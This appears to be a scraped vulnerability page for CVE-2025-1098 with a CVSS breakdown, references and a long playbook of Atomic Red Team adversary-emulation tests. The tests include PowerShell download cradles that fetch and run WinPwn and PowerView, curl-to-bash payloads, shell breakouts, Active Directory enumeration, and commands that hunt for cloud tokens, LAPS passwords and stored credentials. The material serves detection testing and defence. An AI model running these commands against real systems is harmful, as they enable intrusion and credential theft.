C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"

T1059.001 Run BloodHound from local disk Windows PowerShell

Upon execution SharpHound will be downloaded to disk, imported and executed. It will set up collection methods, run and then compress and store the data to the temp directory on the machine. If system is unable to contact a domain, proper execution will not occur. Successful...

Command (PowerShell)

import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5

T1059.001 Run Bloodhound from Memory using Download Cradle Windows PowerShell

Upon execution SharpHound will load into memory and execute against a domain. It will set up collection methods, run and then compress and store the data to the temp directory. If system is unable to contact a domain, proper execution will not occur. Successful execution...

Command (PowerShell)

write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5

T1059.001 SOAPHound - Build Cache Windows PowerShell

Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}

T1059.001 SOAPHound - Dump BloodHound Data Windows PowerShell

Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory. src: https://github.com/FalconForceTeam/SOAPHound

Command (PowerShell)

#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1087.002 Account Enumeration with LDAPDomainDump Linux Shell

This test uses LDAPDomainDump to perform account enumeration on a domain. [Reference](https://securityonline.info/ldapdomaindump-active-directory-information-dumper-via-ldap/)

Command (Shell)

ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087

T1087.002 Active Directory Domain Search Linux Shell

Output information from LDAPSearch. LDAP Password is the admin-user password on Active Directory

Command (Shell)

ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn

T1087.002 Adfind - Enumerate Active Directory Admins Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Admin accounts reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}

T1087.002 Adfind - Enumerate Active Directory Exchange AD Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Exchange Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}

T1087.002 Adfind - Enumerate Active Directory User Objects Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory User Objects reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}

T1087.002 Adfind -Listing password policy Windows CMD

Adfind tool can be used for reconnaissance in an Active directory environment. The example chosen illustrates adfind used to query the local password policy. reference- http://www.joeware.net/freetools/tools/adfind/,...

Command (CMD)

"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties

T1087.002 Automated AD Recon (ADRecon) Windows PowerShell

ADRecon extracts and combines information about an AD environement into a report. Upon execution, an Excel file with all of the data will be generated and its path will be displayed.

Command (PowerShell)

Invoke-Expression "#{adrecon_path}"

T1087.002 Enumerate Active Directory Users with ADSISearcher Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate users within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()

T1087.002 Enumerate Active Directory for Unconstrained Delegation Windows PowerShell

Attackers may attempt to query for computer objects with the UserAccountControl property 'TRUSTED_FOR_DELEGATION' (0x80000;524288) set More Information -...

Command (PowerShell)

Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}

T1087.002 Enumerate Default Domain Admin Details (Domain) Windows CMD

This test will enumerate the details of the built-in domain admin account

Command (CMD)

net user administrator /domain

T1087.002 Enumerate Linked Policies In ADSISearcher Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate organizational unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell

The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...

Command (PowerShell)

(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}

T1087.002 Enumerate all accounts (Domain) Windows CMD

Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session

Command (CMD)

net user /domain
net group /domain

T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell

Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.

Command (PowerShell)

net user /domain
get-localgroupmember -group Users
get-aduser -filter *

T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD

Enumerate logged on users. Upon exeuction, logged on users will be displayed.

Command (CMD)

query user /SERVER:#{computer_name}

T1087.002 Get-DomainUser with PowerView Windows PowerShell

Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.

Command (PowerShell)

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose

T1087.002 Kerbrute - userenum Windows PowerShell

Enumerates active directory usernames using the userenum function of Kerbrute

Command (PowerShell)

cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *

T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell

This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell

This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *

T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell

This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime

Command (PowerShell)

& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell

This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)

Command (PowerShell)

$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'

T1087.002 WinPwn - generaldomaininfo Windows PowerShell

Gathers general domain information using the generaldomaininfo function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.aws -name "credentials" -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find and Access Github Credentials Linux, macOS Bash

This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.

Command (Bash)

for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2025-1098
github.com	GitHub CVE	https://github.com/kubernetes/kubernetes/issues/131008
security.netapp.com	NVD API	https://security.netapp.com/advisory/ntap-20250328-0008/
exploit-db.com	NVD API	https://www.exploit-db.com/exploits/52475

CVSS Analysis

CVSS v3.1

8.8

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

Low PR:L

User Interaction

None UI:N

SCOPE

Scope

Unchanged S:U

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack Vectors

CWE

CWE-20

Prioritization

KEV Prediction

3.1%

Percentile

44%

LEV

80.6%

SSVC

Decision

Track*

Exploitation

Poc

Automatable

Technical Impact

Total

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

YES

PoC Available

Ransomware

CVE-2025-1098

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

Update 2 — August 16, 2026

Affected Products

Disclaimer

ExploitDB (1)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (11)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (4)